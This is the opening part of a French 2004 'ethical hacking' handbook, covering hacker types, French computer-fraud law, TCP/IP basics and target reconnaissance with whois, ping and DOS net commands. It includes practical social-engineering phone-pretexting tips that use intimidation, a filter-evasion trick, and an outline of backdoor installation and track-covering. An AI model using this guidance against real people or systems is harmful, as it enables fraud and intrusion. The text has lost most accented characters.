You are on page 1of 275

Auteur : NZEKA GILBERT Alias KHAALEL (dark_khaalel@yahoo.fr) (http://cksecurity.free.fr, http://ckdownload.free.fr et www.cksecurity.fr.

fm)

HACKING / SECURITE HAND-BOOK


(OU COMMENT DEVENIR UN HACKER ETHIQUE)

Bienvenue tous. Alors, en premier je vais me prsenter rapidement, ensuite je vais vous dire le pourquoi de cet ouvrage et. Et bien si vous tes intress par le hacking dit thique dans toute sa splendeur (ne vous inquitez pas, je ne suis pas un malade chuis juste un passionn) vous lirez (jespre avec joie) cet ouvrage.

Lorsque nous nous interrogeons: "Qui suis-je ?", nous considrons comme allant de soi que lon est; la seule question est de connatre qui lon est. Nous avons prsuppos que nous sommes, cela n' est pas contest, c' considr comme allant de soi que nous sommes. Maintenant la seule question est: est Qui sommes-nous ?. Seule l' identit doit tre connue, le visage doit tre mconnu, mais il est l, mconnu mais l.
PHRASE DUN BOUDDHISTE THIBETAIN.

a) qui suis-je ?

Alors, je suis un parisien de 17 ans (en 2004). Jai dcouvert linformatique en 4me et a t comme une drogue (bon vous voyez de quoi je veux parler). En classe de 3me, jai dcouvert la programmation et le hacking (grce un ami) Deux ans ont pass et je suis encore l pour vous prsenter lun de mes plus grands projets : cet ouvrage. Voil pas besoin den connatre plus mon sujet.

b) cet ouvrage
Alors, pourquoi avoir crit cet ouvrage ? Premirement, par dfi. Deuximement, jadhre la philosophie qui prne la diffusion de certains savoirs. Troisimement, il y a quelques mois, jai lu un article qui parlait dun jeune hacker indien de 16 ans qui avait crit un livre sur le hacking, je lai longuement cherch sur les rayons des librairies que jai lhabitude de frquenter et ne layant pas trouv je me suis dcid crire ce bouquin. Et pour finir, jai lu un article, il y a quelques mois de cela, disant quun pirate devait se reconvertir et se mettre du ct de la scurit : je me suis donc dcid le faire (jespre que je serait bien plus productif pour la communaut informatique quavant) J' espre que cet ouvrage apportera de l' aussi bien aux hackers (jai bien dit aide hacker et pas lamers), qu' dveloppeurs en passant par les administrateurs aux

Pour finir, je ne pourrais tre tenu responsable des agissements de certaines personnes qui auraient lu ce prsent livre.
Ce disclamer ne sert peut-tre rien je lavoue mais compte tenu des dernires lois (des lois trs ..) je prfre prendre mes prcautions et prvenir certaines personnes qui croient dur comme fer que le seul moyen de scuriser le net est denfermer (physiquement ou par le biais de lois) les hackers et les professionnels se trompent enormment et que le seul truc quils y gagnent est en manque de scurit et une recrudescence des piratages en masse et des virus. Les prochaines semaines et les prochains mois vont tre trsheu comment dire interressants.

SOMMAIRE
I Introduction

1re partie : les bases II Les hackers III TCP/IP 2me partie : hacking / scurit informatique IV Quelques recherches sur la cible 1) Recherches manuelles 2) Automatisation des recherches V Infiltration, piratage, scurisation des systmes 1) Windows 9x / 2000 / NT / XP 2) UNIX / LINUX

VI Dautres techniques de piratage 1) attaques DoS et DdoS 2) Buffer Overflow 3) Dtournement de sessions 4) Format String 5) Failles spcifiques au web 6) Messageries et cookies 7) Retrouver ses mots de passes perdus 8) Sniffing 9) Spoofing 10) Virologie informatique VII Piratage de composants rseaux 1) IDS et contournement 2) Murs pare-feu 3) Piratage arien 4) War Dialing VIII Piratage logiciel IX Cryptographie 3me partie : programmation X XI XII XIII Language C Python Quelques fonctions de la PCAP Winsock (1re partie)

XIV Winsock (2me partie) 4me partie : dveloppement dutilitaires de scurit XV XVI XVII XVIII XIX Un crack/patch Scanner de ports Clients/serveurs TCP et UDP Sniffers Virus batch

5me partie : annexes XX XXI XXII XXIII XXIV Principes importants de scurit Commandes DOS Ports utiliss par certains troyens Cracking dun application Challenge de cracking

Introduction
La scurit informatique, un domaine important notre poque est encore trop souvent laiss de ct par des entreprises ou des particuliers jusqu' jour o ils au s' aperoivent que leurs systmes ont t visits par un pirate informatique, que leurs donnes confidentielles (logins, mots de passe, informations bancaires, feuilles de paie) ont t drobes ou copies, qu' taient espionns ils Jai crit ce livre dans le but de fournir un guide des armes ncessaires pour la scurisation des rseaux et des systmes en montrant et expliquant les armes, outils et techniques des pirates. Il na pas la prtention dtre une rfrence en la matire car un tel ouvrage ne ferait pas moins de 3000 pages et devrait tre mis jours chaque semaine. Certaines personnes seront bien sur contre la publication dun tel ouvrage car elle dveloppe et dcrit les techniques quutilisent les pirates et peut inciter les lecteurs pirater des systmes. Ils nont pas tord. Mais quils sachent que ce livre a pour but premier daider les internautes et les administrateurs scuriser leurs rseaux et les systmes.

A qui est adress ce livre


Ce livre est adress toute personne intresse par la scurit informatique ou par le hacking que lon dit thique . Il est aussi adress aux personnes administrant des rseaux et devant les scuriser. Les hackers et les professionnels de la scurit informatique pourront peut-tre y trouver un guide condens des techniques d' attaques sur les rseaux, les systmes, les logiciels et sur les systmes cryptographique.

Comment tirer parti de ce livre


Cet ouvrage peut tre lu de diffrentes manires. Certains peuvent le lire comme une histoire, dautres comme une initiation la scurit, ou encore comme un vrai cours de scurit informatique (traitant de la scurit des rseaux, des logiciels, des systmes dexploitations et des systmes cryptographiques) et de dveloppement rseau. Pour ceux qui veulent adopter la dernire mthode de lecture, sachez que ce livre nexplique que les techniques de piratage et ne dtaillent aucune vulnrabilit prcise (il y a aura par exemple un chapitre sur les vulnrabilit du type dpassements de tampon et comment les exploiter gnralement, par contre il ny aura pas de passage

expliquant des failles spcifiques comme celle qui touche une version de ssh et qui peut permettre davoir les pouvoirs root du serveur vulnrable).

Organisation du livre
Partie I : Les bases Qui sont vraiment ces hackers ? TCP/IP Partie II : Hacking/Scurit informatique Faire des recherches sur la futur cible, Infiltrer, pirater et scuriser les systmes dexploitations, Techniques avances de piratage, Piratage de composants rseaux, Piratage logiciel, Cryptographie. Partie III : Programmation rseau Le language C et le language Python, Fonctions de la PCAP, Winsock. Partie IV : Dveloppement doutils de scurit Un crack/patch, Scanner de ports basique, Clients/serveurs TCP et UDP basiques, Sniffers, Virus batch.

Partie V : Annexes Principes de scurit, Commandes DOS, Ports utiliss par certains troyens, Cracking dun application, Challenge de cracking.

Partie I : Les bases

Les hackers

10

Les hackers ne sont pas seulement ces dlinquants du web, comme le montrent les mdias, qui passent leurs journes pirater des systmes et des logiciels dans le but de faire couler des socits ou de ruiner l' conomie. Certes certains pirates aiment dtruire et piller des donnes confidentielles dans un but de dfi, pour de l' argent ou pour le plaisir. Mais il ne faut pas faire d' amalgame : tous les hackers ne sont pas comme cela. Mais alors qui sont ces hackers ? et comment sorganisent-ils ? La famille des hackers est bien structure : - en premier, il y a les newbies (dbutants) : ce sont gnralement des adolescents fascins par les exploits de certains hackers et qui se sont mis apprendre tout ce qu' pouvaient dans le domaine de l' ils informatique. - ensuite, il y a les intermdiaires, anciens newbies qui ont acquis une somme de connaissances en scurit informatique, programmation et sur les rseaux. - puis il y a les Whites Hat Hackers, des lites en hacking qui programment longueur de journe et ne font que rechercher des failles dans les systmes, logiciels Ces 3 prcdents membres de la famille des hackers travaillent pour une amlioration de la structure. Maintenant, voyons d' autres membres de la famille des hackers qui travaillent dans le ct obscur du hacking. Ils prfrent profiter des failles et les exploitent pour le plaisir ou pour de l' argent : - il y a, en premier, les lamers, des tres dune nullit inimaginable, ne faisant quutiliser des programmes tout fait (surtout des logiciels servant faire du nuke, du mail bombing) et qui n' arrtent pas de se vanter d' tre les meilleurs pirates du monde, d' avoir pntr des systmes comme ceux de la NASA, des gouvernements On les retrouve surtout sur IRC et ICQ. - ensuite, il y a les Blacks Hat Hackers, des lites qui prfrent dtruire tout systme qui leur tombent sous la main. Voici maintenant d' autres membres que l' ne peut classer avec les autres : on - les phreakers : ce sont des personnes sinfiltrant dans les systmes tlphoniques. Forts de leurs connaissances dans les rseaux tlphoniques commuts et en lectronique, ils peuvent construire des systmes lectroniques (appels Box ) ayant des fonctions bien dfinies comme avoir la possibilit de tlphoner l' autre bout de la terre sans dbourser d' argent , de tlphoner sur le compte d' entreprise une - les crackers : ce sont des personnes piratant les logiciels payants de faon pouvoir les utiliser indfiniment sans dpenser d' argent. Ce sont des lments importants mes yeux, car certains aiment aussi trouver des failles dans les logiciels.

11

les hacktivistes : ce sont des hackers utilisant leurs connaissances pour dfendre ce en quoi il pensent et se battre pour un but (les droits de l' homme, la non commercialisation de l' Internet).

Quels sont les comptences de base des hackers ?


Comme nous venons de le voir, il existe une grande varit de hackers, ayant chacun leurs domaines de prdilection; mais avant de se spcialiser, il faut gnralement : - savoir programmer sinon on ne peut tre ni un hacker ni un informaticien. Il faut au moins connatre deux languages dans cette liste : C++, Java, Perl, Python, Rebol, Assembleur, Lisp, Scheme, Delphi et Visual Basic en plus du C et de lHTML (qui est plus un language de mise en page). - connatre les technologies des rseaux (principes de base, services), la pile de protocoles TCP / IP et tout ce qui s' rapporte. y - savoir utiliser Internet : faire des recherches intelligentes et prcises. - connatre les principes de base et savoir utiliser les systmes d' exploitation les plus courants : Windows, Unix, Linux. - avoir des bases en lectronique et en hardware pour savoir identifier un matriel quelconque.

La loi
Maintenant voyons ce que dit la loi au sujet du piratage informatique. ATTENTION, je nai pas pris en compte la LEN car au moment o jcrit, elle nest quun projet.
Loi n 88-19 du 5 janvier 1988 relative la fraude informatique Journal officiel du 6 janvier 1988 L'assemble nationale et le Snat ont adopt. Le prsident de la Rpublique promulgue la loi dont la teneur suit : Article unique Dans le titre II du livre III du code pnal, il est insr, aprs le chapitre II, un chapitre III ainsi rdig: Chapitre III De certaines infractions en matire informatique Article 462-2 Quiconque, frauduleusement, aura accd ou se sera maintenu dans tout ou partie d'un systme de traitement automatis de donnes sera puni d'un emprisonnement de deux mois a un an et

12

d'une amende de 2 000 F a 50 000 F ou de l'une de ces deux peines. Lorsqu'il en sera rsult soit la suppression ou la modification de donnes contenues dans les systme, soit une altration du fonctionnement de ce systme, l'emprisonnement sera de 2 mois a 2 ans et l'amende de 10 000 F a 100 000 F. Article 462-3 Quiconque aura, intentionnellement et au mpris des droits d'autrui, entrav ou fauss le fonctionnement d'un systme de traitement automatis de donnes sera puni d'un emprisonnement de trois mois 3 ans et d'une amende de 10 000 F a 100 000 F ou de l'un de ces deux peines. Article 462-4 Article 462-4 : Quiconque aura, intentionnellement et au mpris des droits d'autrui, directement ou indirectement, introduit des donnes dans un systme de traitement automatis ou supprim ou modifi les donnes qu'il contient ou leurs modes de traitement ou de transmission sera puni d'un emprisonnement de 3 mois a 3 ans et d'une amende de 2000 F a 500 000 F ou de l'une de ces deux peines. Article 462-5 Quiconque aura procd a la falsification de documents informatiss, quelle que soit leur forme, de nature a cause un prjudice autrui, sera puni d'un emprisonnement d'an cinq ans et d'une amende de 20 000 F 2 000 000 F. Article 462-6 Quiconque aura sciemment fait usage des documents viss par l'article 462-5 sera puni d'un emprisonnement d'un an cinq ans et d'une amende 20 000 F 2 000 000 F ou de l'une de ces deux peines Article 462-7 La tentative des dlits prvus par les articles 462-2 a 462-6 est punie des mmes peines que le dlit lui-mme. Article 462-8 Quiconque aura particip une association forme ou une entente tablie en vue de la prparation, concrtise par un ou plusieurs faits matriels, d'une ou plusieurs infractions prvues par les articles 462-2 a 462-6 sera puni des peines prvues pour l'infraction elle-mme ou pour l'infraction la plus svrement rprime.

13

Article 462-7 Le tribunal pourra prononcer la confiscation des matriels appartenant au condamn et ayant servi commettre les infractions prvues au prsent chapitre.

Loi n 2000-230 du 13 mars 2000 portant adaptation du droit de la preuve aux technologies de l'information et relative la signature lectronique L' Assemble nationale et le Snat ont adopt, Le Prsident de la Rpublique promulgue la loi dont la teneur suit : Article 1er I. - L'article 1316 du code civil devient l'article 1315-1. II. - Les paragraphes 1er, 2, 3, 4 et 5 de la section 1 du chapitre VI du titre III du livre III du code civil deviennent respectivement les paragraphes 2, 3, 4, 5 et 6. III. - Il est insr, avant le paragraphe 2 de la section 1 du chapitre VI du titre III du livre III du code civil, un paragraphe 1er intitul : Dispositions gnrales , comprenant les articles 1316 1316-2 ainsi rdigs : Art. 1316. - La preuve littrale, ou preuve par crit, rsulte d'une suite de lettres, de caractres, de chiffres ou de tous autres signes ou symboles dots d'une signification intelligible, quels que soient leur support et leurs modalits de transmission. Art. 1316-1. - L'crit sous forme lectronique est admis en preuve au mme titre que l'crit sur support papier, sous rserve que puisse tre dment identifie la personne dont il mane et qu'il soit tabli et conserv dans des conditions de nature en garantir l'intgrit. Art. 1316-2. - Lorsque la loi n'a pas fix d'autres principes, et dfaut de convention valable entre les parties, le juge rgle les conflits de preuve littrale en dterminant par tous moyens le titre le plus vraisemblable, quel qu'en soit le support. Article 2 L'article 1317 du code civil est complt par un alina ainsi rdig : Il peut tre dress sur support lectronique s'il est tabli et conserv dans des conditions fixes par dcret en Conseil d'Etat. Article 3 Aprs l'article 1316-2 du code civil, il est insr un article

14

1316-3 ainsi rdig : Art. 1316-3. - L'crit sur support lectronique a la mme force probante que l'crit sur support papier. Article 4 Aprs l'article 1316-3 du code civil, il est insr un article 1316-4 ainsi rdig : Art. 1316-4. - La signature ncessaire la perfection d'un acte juridique identifie celui qui l'appose. Elle manifeste le consentement des parties aux obligations qui dcoulent de cet acte. Quand elle est appose par un officier public, elle confre l'authenticit l'acte. Lorsqu'elle est lectronique, elle consiste en l'usage d'un procd fiable d'identification garantissant son lien avec l'acte auquel elle s'attache. La fiabilit de ce procd est prsume, jusqu' preuve contraire, lorsque la signature lectronique est cre, l'identit du signataire assure et l'intgrit de l'acte garantie, dans des conditions fixes par dcret en Conseil d'Etat Article 5 A l'article 1326 du code civil, les mots : de sa main sont remplacs par les mots : par lui-mme . Article 6 La prsente loi est applicable en Nouvelle-Caldonie, en Polynsie franaise, Wallis-et-Futuna et dans la collectivit territoriale de Mayotte. La prsente loi sera excute comme loi de l'Etat. Fait Paris, le 13 mars 2000.

Voici un autre article de la loi qui est ds fois ajoute aux prcdentes :
Article 131-39 du code pnal Lorsque la loi le prvoit l'encontre d'une personne morale, un crime ou un dlit peut tre sanctionn d'une ou plusieurs des peines suivantes : 1 La dissolution, lorsque la personne morale a t cre ou, lorsqu'il s'agit d'un crime ou d'un dlit puni en ce qui concerne les personnes physiques d'une peine d'emprisonnement suprieur cinq ans, dtourne de son projet pour commettre les faits incrimins ; 2 L'interdiction, titre dfinitif ou pour une dure de cinq ans au plus, d'exercer directement ou indirectement une ou plusieurs activits professionnelles ou sociales ; 3 Le placement, pour une dure de cinq ans au plus, sous surveillance judiciaire ; 4 La fermeture dfinitive ou pour une dure de cinq ans au plus des tablissements ou de l'un ou de plusieurs des

15

tablissements de l'entreprise ayant servi commettre les faits incrimins ; 5 L'exclusion des marchs publics titre dfinitif ou pour une dure de cinq ans au plus ; 6 L'interdiction, titre dfinitif ou pour une dure de cinq ans au plus, de faire appel public l'pargne ; 7 L'interdiction, pour une dure de cinq ans au plus, d'mettre des chques autres que ceux qui permettent le retrait de fonds par le tireur auprs du tir ou ceux qui sont certifis ou d'utiliser des cartes de paiement ; 8 La confiscation de la chose qui a servi ou tait destine commettre l'infraction ou de la chose qui en est le produit ; 9 L'affichage de la dcision prononce ou la diffusion de celle-ci soit par la presse crite, soit par tout moyen de communication audiovisuelle. Les peines difinies au 1 et 3 ci-dessus ne sont pas applicables aux personnes morales de droit public dont la responsabilit pnale est susceptible d'tre engage. Elles ne sont pas non plus applicables aux partis ou groupements politiques ni aux syndicats professionnels. La peine dfinie au 1 n'est pas applicable aux institutions reprsentatives du personnel.

Avant de passer au vif du sujet, vous devez savoir comment se droule le piratage d' systme. un Si le mot piratage vous fait peur ou vous gne, dites-vous bien quavant de scuriser un systme, il faut toujours faire des tests de pntration (appels Pen-Test) pour cibler les failles De plus pour contrer efficacement une personne, il faut soit penser comme elle, soit connatre ses limites : cela s' applique aussi aux pirates informatique et la connaissance de leurs limites passe par la connaissance des techniques de piratage. En gros pour scuriser un systme, il faut se mettre la place dun pirate. Le droulement logique d' attaque commence par la recherche d' une informations sur le systme cible aussi bien dans les sources publiques que sur le systme. Puis il va falloir essayer de s' infiltrer sans tre remarqu. y Arriv ce point, il faut essayer de trouver des informations qui vont nous permettre d' obtenir les droits dadministrateur. Enfin il va falloir installer des backdoors (des programmes qui vont nous permettre de revenir facilement sur le systme cible). Pour finir il faut masquer et effacer ces faits et gestes sur le systme.

16

17

TCP / IP

18

TCP/ IP est une pile de protocoles qui sert faire communiquer entre elles des machines htrognes.

le modle OSI :
En 1984, lOSI (Open System Interconnect) un ensemble de spcifications sur la structuration des protocoles et des systmes a t cr. Le modle OSI est constitu de 7 couches (ou niveaux) qui assurent chacunes une fonction et intgrent un certain nombre de protocoles.

Voici une description de chaque couche :

la couche physique :
Elle a pour but de transporter des donnes (signaux produits par les systmes et devant tre envoys d' autres systmes) au travers des divers moyens de transport prsents dans les rseaux (cbles, fibres).

la couche liaison de donnes :


Elle a pour but d' aider la bonne transmission des donnes entre systmes en crant des paquets rseau. Cette couche est constitue de deux sous-couches LLC (Logical Link Control) et MAC (Medium Access Control) ne pas confondre avec une adresse MAC (celles des cartes rseaux) bien quelle gre ladressage de ces dernires ou avec le contrleur d' intgrit de SSL (Message Authentification Code).

la couche rseau :

19

Elle a pour but de grer tous les problmes concernant les rseaux (adressage, invalidit, indisponibilit) .

la couche transport :
Elle a pour but d' assurer que les systmes communiquent bien entre eux, mais aussi que les paquets sont bien transmis.

la couche session :
Elle a pour but de contrler les liaisons entre les systmes pour qu' puissent ils communiquer correctement. Elle ne fait que contrler et ntablit aucune liaison car c' la fonction de la couche transport d' est tablir la session, la demande de la couche session.

la couche prsentation :
Elle a pour but de convertir les donnes fournies par l' utilisateur dans un type de donnes ( ou langage) comprhensible par tous les systmes. Un peu comme lXML qui peut servir un script en PHP qui pourrait envoyer des donnes un script en REBOL.

la couche application :
Elle a pour but de permettre l' utilisateur d' utiliser les services (grce aux protocoles) offerts par son systme.

Quelques protocoles :
TCP / IP enveloppe beaucoup de protocoles dont TCP, IP, UDP, ARP, RARP, ICMP, IGMP, SNMP, RIP, OSPF, BGP, EGP, DRP, IGRP, EIGRP, NCP, PPP, SMTP, FTP, POP/IMAP, DHCP, HTTP, OSPFIGP Il existe d' autres piles de protocoles : NetBIOS / NetBEUI et IPX/IPS Petites explications : IP (OSI 3) Cest un protocole grant ladressage des paquets envoys sur le rseau

20

Version

IHL Identificateur

Type de service

Longueur du paquet Flags

TTL

Offset du Fragment Protocole Cheksum den-tte Adresse IP source Adresse IP cible Options / remplissage ( padding ) Zones de donnes

TCP

( OSI 4 ) Cest un protocole en mode connect (cela veut dire quil tablit une connexion entre les systmes qui communiquent). Il choisit aussi le type de paquets envoyer sur le rseau en fonction de lenvironnement et de laction effectuer (connexion, dconnexion, requtes diverses). Quand TCP finit tous ses prparatifs, il envoie ces donnes (on dit aussi segments de donnes) au protocole IP. Ce dernier enverra le paquet par le rseau. Pour assurer sa fonction, TCP utilise diffrentes techniques, comme : - le contrle des paquets (pour dventuelles erreurs) - la cration dune connexion virtuelle, entre les systmes en communication de type full-duplex (connexion en double-sens) - Voici un paquet TCP : port source numro de squence accus de rception dcalage rserv urg ack psh rst syn fin fentre donnes somme de contrle (checksum) pointeur de donnes urgentes options remplissage (padding) donnes port destination

UDP

( OSI 4 ) Cest un protocole en mode dconnect semblable TCP mais tant moins scuris et plus simple dutilisation, car il ne cr pas de connexion entre les systmes qui communiquent et ne fait quenvoyer des datagrammes sur le rseau sans contrle des paquets. Voici un paquet UDP :

21

Type

ID

Code Donnes

Cheksum Numro de squence

Quelques notions de base :


Clients/Serveurs :
De nos jours, les rseaux fonctionnent grce la topologie client/serveur. Le systme client ouvre une session sur le systme serveur puis faire de requtes spcifiques au(x) service(s) que dlivre ce dernier. Le systme serveur est dvelopp pour accepter la connexion dun des client et fournir un/des service(s) spcifique(s). Pour information, un service nest fournit que par un serveur et peut-tre de types diffrents : service http, ftp

Sockets :
Pour faire communiquer des systmes travers le rseau, des chercheurs ont cr ce que lon appelle des sockets. Maintenant quoi que lon fasse sur un rseau, on utilise sans le savoir (ou plutt sans sen proccuper) des sockets. Pour information, les sockets sont principalement constitus dune adresse IP et dun port de communication.

22

23

Partie II : Hacking / Scurit

24

Quelques recherches sur la cible

25

Sources publiques

whois :
Les whois sont des services proposs gratuitement en ligne et qui permettent dobtenir des informations sur un domaine particulier, sur une adresse de messagerie. Grce ses bases de donnes comme : whois.ripe.net : qui s' occupe d' attribuer des adresses IP pour l' Europe. whois.apnic.net : qui s' occupe d' attribuer des adresses IP pour l' Asie Pacifique. whois.nic.mil : qui gre l' attribution des adresses IP des systmes militaires amricains. whois.nic.gov : qui gre lattribution des adresses IP des systmes du gouvernement amricain. linternic : le plus connu. La liste n' pas finie, mais vous pouvez facilement en trouver dautres sur Internet est grce google. Pour obtenir les informations donnes par un whois, vous pouvez choisir d' utiliser la commande whois de Unix, des programmes comme WS Ping Pro Pack, ou vous pouvez aller sur un site proposant une base de donnes de recensement des noms de domaine.

les groupes de discussions :


Les groupes de discussions (newsgroups) permettent davoir des informations techniques par dautres utilisateurs sur un sujet prcis. Ces newsgroups fonctionnent gnralement comme un forum o lon poste des messages en y laissant une adresse mail personnelle pour quon puisse identifier les messages. Maintenant intressontnous au protocole qui permet de poster des messages sur ces newsgroups. Ce protocole sappelle NNTP (Network News Transfer Protocol) et utilise le port TCP 119. Vous allez me dire quel rapport entre la recherche d' informations sur la cible et l' exploration des newsgroups. Imaginez qu' poste du domaine cible demande des un informations sur un newsgroup et maintenant imaginez que ce soit ladministrateur du rseau qui demande des informations sur la configuration des systmes pour le rseau. Bien sr, ce serait le rve pour un pirate car il pourrait savoir en temps rel ce que ladministrateur veut et recherche. Malheureusement ces situations se passent plus souvent quon puisse le croire.

26

le site de la cible :
Si la cible a un site, vous devez le parcourir la recherche dadresses mails et d' autres informations prcieuses. Ne pas hsiter parcourir le code source des pages dans le but de recenser des commentaires, ou des caractristiques qui pourraient permettre de remonter aux dveloppeurs. Les aspirateurs de sites permettent dautomatiser ces recherches, en voici une liste:

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

Teleport pro NT/95/98/2000/ME/XP dmo Tenmax Trs bon aspirateur de sites web, qui va dupliquer le site sur le disque dur et que lon va pouvoir visiter hors ligne. Permet aussi de rapatrier des fichiers spcifiques (comme les fichiers vidos ou les pages contenant un certain mot).

27

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

HTTrack NT/95/98/2000/ME/XP freeware Xavier Roche & Yann Philippot Un trs bon aspirateur qui permet de rcuprer tous les fichiers dun site. Il permet aussi de mettre jour un site dj existant sur notre disque dur, faire des copies miroir dun site dj en ligne WebCopier NT/95/98/2000/ME/XP shareware MaximumSoft Corp. Cest un autre aspirateur de sites web.

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel : Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

SmartBud NT/95/98/2000/ME freeware Atom e-City Ltd. Un superbe aspirateur de sites webs, qui a normment de qualits (en faites , je ne lui trouvons aucun dfaut) que vous devez dcouvrir. Pour plus de logiciels , allez sur la page : http://www.idf.net/info/table.html. Pour information, le code PHP dune page nest pas visible car il est interprt.

28

divers :
Les pages jaunes peuvent tre une trs bonne documentation de base pour avoir certaines informations sur l' entreprise ou un particulier comme des numros de tlphone qui vous permettront de lancer des attaques sur le rseau tlphonique. La presse pourrait aussi vous donner des informations utiles sur les entreprises comme leur politique de scurit partir dun interview dun des employs et pleins dautres informations, mais cela dpend bien sr de l' entreprise, de son domaine d' application, de sa renomme Si votre cible est cote en Bourse, fusionne, rachte, crer des filiales, vous pouvez accder ces informations qui sont toutes stockes dans des bases de donnes comme celle de Edgar de Sec. ( qui se situe l' adresse http://www.sec.gov).

les moteurs de recherche et les agents intelligents :


La principale arme du pirate est l' information. Il se doit donc de savoir utiliser les outils de recherche d' informations sur Internet (les moteurs de recherche et les agents intelligents) : il doit donc apprendre manier les mots cls qui lui permettront d' accder des documents.

social engeneering et trashing :


Le social engeneering n' pas une technique de piratage mais une technique est millnaire servant se faire passer pour une autre personne grce la parole. Cette technique est trs souvent utilise par les pirates dans le but d' obtenir des identifiant, des mots de passe, des numros de cartes de crdit ou pour que les personnes contactes excutent ou fournissent ce quils recherchent. Vous allez prendre connaissances de quelques conseils pour russir une attaque de type ingnierie sociale. se prparer l' avance, en marquant sur une feuille les questions poser et votre fausse identit, s' entraner changer de voix, ne jamais raccrocher brutalement au nez de votre interlocuteur, mme s' ne veut pas excuter vos volonts, il toujours faire des recherches sur l entreprise pour ne jamais tre pris au dpourvu au tlphone, ne jamais tourner autour du pot toujours aller droit au but, ne pas trop parler pour qu' puisse vous dvoiler les informations il voulues

29

viter les onomatopes du genres : heu, hein !, on, je sais pas . car vous ne paraissez pas sr de vous. faire le psychologue en adoptant un ton diffrent en fonction de la personne tant l' autre bout du combin. Comme la peur en faisant comprendre la personne qu' va sattirer les colres du elle patron ou subir des actions indsirables comme des coupures d' lectricit , avoir la visite du fisc, de lADAPI ou sinon lui montrer que si elle accepte de faire ce que vous lui demander, elle vous faciliterait grandement la vie. ne pas insulter les personnes ou la forcer faire ce qu' ne veut elle pas faire mais plutt essayer de savoir ce qui la gne. garder son contrle jusqu' la fin. ne pas s' nerver. toujours remercier la personne mme si elle n' pas satisfait vos a attentes mettre des bruits de fond comme dans un bureau (bien sr cela dpend du contexte dans lequel vous vous trouvez). avoir beaucoup d' imagination, cela peut servir car rpter le mme scnario plusieurs fois conduit un chec total. Le trashing consiste faire les poubelles de la cible dans le but de trouver des informations intressantes (vous ne vous imaginez pas ce que l' peut y trouver si on on a de la chance) comme le social enginneering, cette technique n' pas spcifique au est piratage mais peut grandement aider.

Parades :
Il n' a pas de parade ceci car vous ne pouvez contrler l' y accs ces informations et si vous donner de fausses informations vous ne respecter plus les chartes donc donner chaque fois que le strict minimum. En ce qui concerne lingnierie sociale, formez le personnel, en leur expliquant quils doivent, par exemple, contacter un des chef lors de ce genre d' appel avant de donner des informations.

30

31

Utilitaires et outils automatiss


ping :
Un ping est une fonction importante car elle permet de savoir si une adresse IP est attribue, elle va aussi permettre de savoir o est situe la personne qui appartient lIP et aussi de connatre le fournisseur d' accs de la cible grce l' option de rsolution l' adresse IP en nom dhtes. On peut pinger des machines grce des logiciels comme : nmap, Pinger de Rhino9 , Ping Sweep de SolarWind, WS_Ping ProPack de Ipswitch , et les outils netscan. il existe plein d' autre mais se sont les plus connus. Les interprteurs de commandes intgrent aussi une commande ping . Voici quelques options sous MS-DOS : -t : qui envoie des requtes ping sur lhte jusqu' qu' personne interrompe cela l' de CTRL + C une aide -a : qui permet de rsoudre une adresse IP en nom dhte -i x : qui permet de dterminer le TTL des paquets ping (x doit tre compris entre 1 et 255) -n x : qui permet d' envoyer un nombre dtermin de paquet ICMP_ECHO_REQUEST. Ce sont les options les plus importantes de la commande Ping sous MS-DOS. Pour information la commande Ping envoi des paquets et grce protocole ICMP_ECHO_REQUEST et reoit des paquets de type ICMP_ECHO_REPLY.
Exemple dutilisation de la commande ping sous windows :

32

traceroute et tracert :
Traceroute (pour Linux) et tracert (pour Windows) permettent de tracer et suivre le chemin qu' emprunter un paquet quelconque jusqu' systme cible. On peut aussi au dterminer la topologie dun rseau. Normalement, la dernire adresse IP marque doit tre celle du destinataire. Si a n' pas le cas, un systme filtrant est plac avant est le systme du destinataire. traceroute utilise par dfaut le protocole UDP pour l' envoi des paquets, il peut aussi utiliser le protocole ICMP. tracert lui fonctionne de manire inverse traceroute , car il utilise par dfaut le protocole ICMP pour l' envoi des paquets et peut utiliser le protocole UDP. Astuces : affectez le port TCP 53 vos paquets envoys avec traceroute et tracert car ce port n' gnralement pas filtr par les systmes de filtrage de paquets (cf est chapitre sur les murs par-feu) .
Exemple dutilisation de la commande tracert sous windows :

Voici des utilitaires permettant de pinger et tracer des systmes : Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel : TRIDCOMM Tous les windows freeware Fournit un ping et un tracert sur fond de carte terrestre dans le but de savoir dans quel endroit est situ le systme trac

33

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

NEOTRACE EXPRESS 3.25 Tous le windows freeware Comme tridcomm, il permet de tracer une ip, un serveur, un pc sur fond de carte terrestre. PING PLOTTER 2.30.1 Tous les windows shareware Il a de trs bonnes fonctions que je vous laisse dcouvrir, entre autre, il permet de tracer une ip, faire des lookup

Nom du logiciel : OS viss : Licence : Editeur ou Auteur : Le but du logiciel :

les commandes Dos utiles aux hackers :


PING syntaxe : ping [IP ou nom de l'hte] exemple : ping 208.24.96.12 utilit : - Permet de savoir si un systme est connect - permet dobtenir des informations sur un systme NETSTAT syntaxe : netstat exemple : netstat utilit : - Permet de connatre des informations locales sur TCP/IP - obtenir l'IP d'une personne sous ICQ avec qui on a tabli une conversation Options : -a : qui va nous montrer les connexions en cours et les ports. -e : qui va nous renvoyer des informations Ethernet -p x : nous renvoie les informations de connexions pour le port spcifi la place de x -r : qui va nous renvoyer la table de routage (Tapez la commande help netstat pour connatre les autres options) NBTSTAT syntaxe : nbtstat -x [] exemple : nbtstat -x utilit : - Permet de voir les informations sur les connexions TCP/IP du systme cible utilisant NetBIOS - exploit netbios

34

(Tapez la commande help nbtstat pour connatre les autres options) NET VIEW syntaxe : net view [nom de la machine] exemple : net view KHALEL utilit : - permet de voir les ressources partages de la machine cible. NET USE syntaxe : net use [nom de la machine][lettre de la ressource] exemple : net use KHALEL utilit : - permet de se connecter la ressource partage spcifie

Il y a bien sr dautres commandes (comme arp, route, nslookup).

finger :
C' un utilitaire qui permet d' est obtenir des informations sur les utilisateurs d' un systme. C' aussi un protocole utilisant par dfaut le port 79. est

messages d' erreur des serveurs :


Lorsque vous naviguez sur Internet, vous avez dj d voir des messages du genre : Forbidden ou autres.

35

